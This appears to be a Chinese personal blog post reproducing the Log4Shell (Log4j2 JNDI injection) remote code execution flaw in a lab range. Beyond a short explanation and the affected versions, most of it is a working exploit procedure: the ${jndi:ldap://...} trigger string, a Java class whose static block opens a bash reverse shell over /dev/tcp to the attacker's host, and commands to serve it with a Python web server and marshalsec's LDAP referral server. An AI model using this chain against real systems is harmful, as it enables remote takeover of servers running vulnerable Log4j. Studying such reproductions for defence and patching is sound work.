最近挺忙的,赚点窝囊废也不容易哎。生活不易,小迟叹气。
在2021年年底最火的无疑是log4j,今天就水一篇log4j的漏洞复现。(环境调试了老半天emmm)
那么开始吧…
漏洞原理
Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
从攻击手法来说呢,如下:
${jndi:ldap://ip:port/Exp}
通过${}形式来攻击,至于jndi和ldap是什么?百度一下哈。
大概如此图:
图片来源:https://blog.csdn.net/hilaryfrank/article/details/121944757
被攻击服务器接收到该内容 [${}形式攻击] 后,通过Logj42工具将其作为日志打印。此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。
影响范围
版本:Apache Log4j 2.x < 2.15.0-rc1
复现过程
先这样再那样和这样就那样成功了。
首先我们先构造Exp.java
import java.lang.Runtime;
import java.lang.Process;
public class Exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后用javac编译一下
javac Exp.java
编译成java.class
然后利用python临时开启一个web
python2 -m SimpleHTTPServer port
python3 -m http.server port
然后执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:port/#Exp" port
再去运行
${jndi:ldap://ip:port/Exp}
然后shell就反弹回来了。
按照此步骤来进行:
先构造Exp.java再编译成class
然后去攻击机里面开启web
然后我们再将marshalsec-0.0.3-SNAPSHOT-all.jar运行起来 (此处运行端口要区分)
再去开启监听
最后去靶场运行命令来弹shell
marshalsec工具地址:https://github.com/RandomRobbieBF/marshalsec-jar
暂无评论内容